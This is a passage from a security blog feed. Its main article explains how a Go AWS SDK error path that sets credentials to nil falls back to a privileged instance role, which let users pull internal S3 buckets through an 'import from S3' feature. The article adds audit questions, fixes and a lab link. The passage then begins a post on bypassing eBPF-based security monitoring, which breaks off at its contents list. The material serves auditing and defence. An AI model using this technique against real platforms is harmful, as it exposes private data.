	&lt;span class=&quot;n&quot;&gt;region&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;region&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;session_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;aws_config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;region&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;accessKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;aws_config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewStaticCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;accessKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;secretKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;aws_config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnonymousCredentials&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;objectList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getObjectsList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aws_config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bucket_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Despite using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;credentials.AnonymousCredentials&lt;/code&gt; when the user was not providing keys, the function had an interesting code path when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ListObjectsV2&lt;/code&gt; returned errors:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
if err != nil {
		if err, awsError := err.(awserr.Error); awsError {
			aws_config.credentials = nil
			getObjectsList(session_init, aws_config, bucket_name)
		}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The error handling was setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws_config.credentials = nil&lt;/code&gt; and trying again to list the objects in the bucket.&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 50%;&quot; src=&quot;/public/images/cloudsectidbit-fry.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;Looking at &lt;code&gt;aws_config.credentials = nil&lt;/code&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Under those circumstances, the credentials provider chain will be used and eventually the instance’s IAM role will be assumed. In our case, the automatically retrieved credentials had full access to internal S3 buckets.&lt;/p&gt;

&lt;h3 id=&quot;the-simple-deduction&quot;&gt;The Simple Deduction&lt;/h3&gt;

&lt;p&gt;If internal S3 bucket names are exposed to the end-user by the platform (e.g., via network traffic), the user can use them as input for the “import from S3” functionality and inspect their content directly in the UI.&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 50%;&quot; src=&quot;/public/images/cloudsectidbit-spongebob.jpeg&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;Reading internal bucket names list extracted from Burp Suite history&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In fact, it is not uncommon to see internal bucket names in an application’s traffic as they are often used for internal data processing. In conclusion, providing internal bucket names resulted in them being fetched from the import functionality and added to the platform user’s data.&lt;/p&gt;

&lt;h3 id=&quot;different-client-credentials-initialization-different-outcomes&quot;&gt;Different Client Credentials Initialization, Different Outcomes&lt;/h3&gt;

&lt;p&gt;AWS SDK clients require a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Session&lt;/code&gt; object containing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Credential&lt;/code&gt; object for the initialization.&lt;/p&gt;

&lt;p&gt;Described below are the three main ways to set the credentials needed by the client:&lt;/p&gt;

&lt;h4 id=&quot;newstaticcredentials&quot;&gt;NewStaticCredentials&lt;/h4&gt;

&lt;p&gt;Within the credentials package, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NewStaticCredentials&lt;/code&gt; function returns a pointer to a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Credentials&lt;/code&gt; object wrapping static credentials.&lt;/p&gt;

&lt;p&gt;Client initialization example with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NewStaticCredentials&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testing&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;time&quot;&lt;/span&gt;

	&lt;span class=&quot;s&quot;&gt;&quot;github.com/aws/aws-sdk-go/aws&quot;&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;github.com/aws/aws-sdk-go/aws/credentials&quot;&lt;/span&gt;
	&lt;span class=&quot;s&quot;&gt;&quot;github.com/aws/aws-sdk-go/aws/session&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Must&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;Credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewStaticCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;AKIA….&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Secret&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;us-east-1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: The credentials should not be hardcoded in code. Instead retrieve them from a secure vault at runtime.&lt;/p&gt;

&lt;h4 id=&quot;-nil--unspecified--credentials-object&quot;&gt;{ nil | Unspecified } Credentials Object&lt;/h4&gt;

&lt;p&gt;If the session client is initialized without specifying a credential object, the credential provider chain will be used. Likewise, if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Credentials&lt;/code&gt; object is directly initialized to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt;, the same behavior will occur.&lt;/p&gt;

&lt;p&gt;Client initialization example without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Credential&lt;/code&gt; object:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;svc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Must&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;us-west-2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Client initialization example with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt; valued &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Credential&lt;/code&gt; object:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;svc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Must&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nil_object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;us-west-2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Outcome&lt;/strong&gt;: Both initialization methods will result in relying on the credential provider chain. Hence, the credentials (probably very privileged) retrieved from the chain will be used. As shown in the aforementioned “Import From S3” case study, not being aware of such behavior led to the exfiltration of internal buckets.&lt;/p&gt;

&lt;h4 id=&quot;anonymouscredentials&quot;&gt;AnonymousCredentials&lt;/h4&gt;

&lt;p&gt;The right function for the right tasks ;)&lt;/p&gt;

&lt;p&gt;AWS SDK for &lt;a href=&quot;https://docs.aws.amazon.com/sdk-for-go/api/aws/credentials/#pkg-variables&quot; target=&quot;_blank&quot;&gt;Go API Reference&lt;/a&gt; is here to help:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“AnonymousCredentials is an empty Credential object that can be used as dummy placeholder credentials for requests that do not need to be signed.
This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AnonymousCredentials&lt;/code&gt; object can be used to configure a service not to sign requests when making service API calls. For example, when accessing public S3 buckets.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;svc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Must&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnonymousCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})))&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// Access public S3 buckets.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AnonymousCredentials&lt;/code&gt; object is just an empty Credential object:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;// source: https://github.com/aws/aws-sdk-go/blob/main/aws/credentials/credentials.go#L60&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;// AnonymousCredentials is an empty Credential object that can be used as&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// dummy placeholder credentials for requests that do not need to be signed.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// These Credentials can be used to configure a service not to sign requests&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// when making service API calls. For example, when accessing public&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// s3 buckets.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//     svc := s3.New(session.Must(session.NewSession(&amp;amp;aws.Config{&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//       Credentials: credentials.AnonymousCredentials,&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//     })))&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//     // Access public S3 buckets.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AnonymousCredentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NewStaticCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;for-cloud-security-auditors&quot;&gt;For cloud security auditors&lt;/h3&gt;

&lt;p&gt;The vulnerability could be also found in the usage of other AWS services.&lt;/p&gt;

&lt;p&gt;While auditing cloud-driven web platforms, look for every code path involving an AWS SDK client initialization.&lt;/p&gt;

&lt;p&gt;For every code path answer the following questions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Is the code path directly reachable from an end-user input point (feature or exposed API)?&lt;/p&gt;

    &lt;p&gt;&lt;em&gt;e.g., AWS credentials taken from the user settings page within the platform or a user submits an AWS public resource to have it fetched/modified by the platform.&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How are the client’s credentials initialized?&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;credential provider chain - Look for the machine owned role in the chain
        &lt;ul&gt;
          &lt;li&gt;Is there a fall-back condition? Look if the end-user can reach that code path with some inputs.  If it is used by default, go on
  	- Look for the role’s permissions&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws.Config&lt;/code&gt; structure as input parameter - Look for the passed role’s permissions&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Can users abuse the functionality to make the platform use the privileged credentials on their behalf and point to private resources within the AWS account?&lt;/p&gt;

    &lt;p&gt;&lt;em&gt;e.g., “import from S3” functionality abused to import the infrastructure’s private buckets&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;for-developers&quot;&gt;For developers&lt;/h3&gt;

&lt;p&gt;Use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AnonymousAWSCredentials&lt;/code&gt; to configure the AWS SDK client when dealing with public resources.&lt;/p&gt;

&lt;p&gt;From the official AWS documentations:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Using anonymous credentials will result in requests not being signed before sending them to the service. Any service that does not accept unsigned requests will return a service exception in this case.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In case of user provided credentials being used to integrate with other cloud services, the platform should avoid implementing fall-back to system role patterns. Ensure that the user provided credentials are correctly set to avoid ending up with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws.Config.Credentials = nil&lt;/code&gt; because it would result in the client using the credentials provider chain → System role.&lt;/p&gt;

&lt;h2 id=&quot;hands-on-iac-lab&quot;&gt;Hands-On IaC Lab&lt;/h2&gt;

&lt;p&gt;As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/&quot; target=&quot;_blank&quot;&gt;https://github.com/doyensec/cloudsec-tidbits/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stay tuned for the next episode!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>On Bypassing eBPF Security Monitoring</title>
   <link href="https://blog.doyensec.com/2022/10/11/ebpf-bypass-security-monitoring.html"/>
   <updated>2022-10-11T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/10/11/ebpf-bypass-security-monitoring</id>
   <content type="html">&lt;p&gt;There are many security solutions available today that rely on the &lt;a href=&quot;https://ebpf.io/&quot;&gt;Extended Berkeley Packet Filter (eBPF)&lt;/a&gt; features of the Linux kernel to monitor kernel functions. Such a paradigm shift in the latest monitoring technologies is being driven by a variety of reasons. Some of them are motivated by performance needs in an increasingly cloud-dominated world, among &lt;a href=&quot;https://www.youtube.com/watch?v=44nV6Mj11uw&quot;&gt;others&lt;/a&gt;. The Linux kernel always had kernel tracing capabilities such as &lt;a href=&quot;https://docs.kernel.org/trace/kprobes.html&quot;&gt;kprobes&lt;/a&gt; (2.6.9), &lt;a href=&quot;https://www.kernel.org/doc/Documentation/trace/ftrace.txt&quot;&gt;ftrace&lt;/a&gt; (2.6.27 and later), &lt;a href=&quot;https://perf.wiki.kernel.org/index.php/Main_Page&quot;&gt;perf&lt;/a&gt; (2.6.31), or &lt;a href=&quot;https://docs.kernel.org/trace/uprobetracer.html&quot;&gt;uprobes&lt;/a&gt; (3.5), but with BPF it’s finally possible to run kernel-level programs on events and consequently modify the state of the system, without needing to write a kernel module. This has dramatic implications for any attacker looking to compromise a system and go undetected, opening new areas of research and application. Nowadays, eBFP-based programs are used for &lt;a href=&quot;https://blog.cloudflare.com/how-to-drop-10-million-packets/&quot;&gt;DDoS mitigations&lt;/a&gt;, &lt;a href=&quot;https://dl.acm.org/doi/abs/10.1016/j.jnca.2021.103283&quot;&gt;intrusion detection&lt;/a&gt;, &lt;a href=&quot;https://developers.redhat.com/articles/2021/12/16/secure-your-kubernetes-deployments-ebpf&quot;&gt;container security&lt;/a&gt;, and general observability.&lt;/p&gt;

&lt;p&gt;In 2021 &lt;a href=&quot;https://goteleport.com/&quot;&gt;Teleport&lt;/a&gt; introduced a new feature called &lt;a href=&quot;https://goteleport.com/blog/enhanced-session-recording/&quot;&gt;Enhanced Session Recording&lt;/a&gt; to close some monitoring gaps in Teleport’s audit abilities. All issues reported have been promptly fixed, mitigated or documented as described in their &lt;a href=&quot;https://goteleport.com/resources/audits/teleport-features-security-audit-q4-2021/&quot;&gt;public Q4 2021 report&lt;/a&gt;. Below you can see an illustration of how we managed to bypass eBPF-based controls, along with some ideas on how red teams or malicious actors could evade these new intrusion detection mechanisms. These techniques can be generally applied to other targets while attempting to bypass any security monitoring solution based on eBPF:&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#a-few-words-on-how-ebpf-works&quot; id=&quot;markdown-toc-a-few-words-on-how-ebpf-works&quot;&gt;A few words on how eBPF works&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#common-shortcomings--potential-bypasses-here-be-dragons&quot; id=&quot;markdown-toc-common-shortcomings--potential-bypasses-here-be-dragons&quot;&gt;Common shortcomings &amp;amp; potential bypasses (here be dragons)&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#1-understand-which-events-are-caught&quot; id=&quot;markdown-toc-1-understand-which-events-are-caught&quot;&gt;1. Understand which events are caught&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#11-execution-bypasses&quot; id=&quot;markdown-toc-11-execution-bypasses&quot;&gt;1.1 Execution bypasses&lt;/a&gt;&lt;/li&gt;
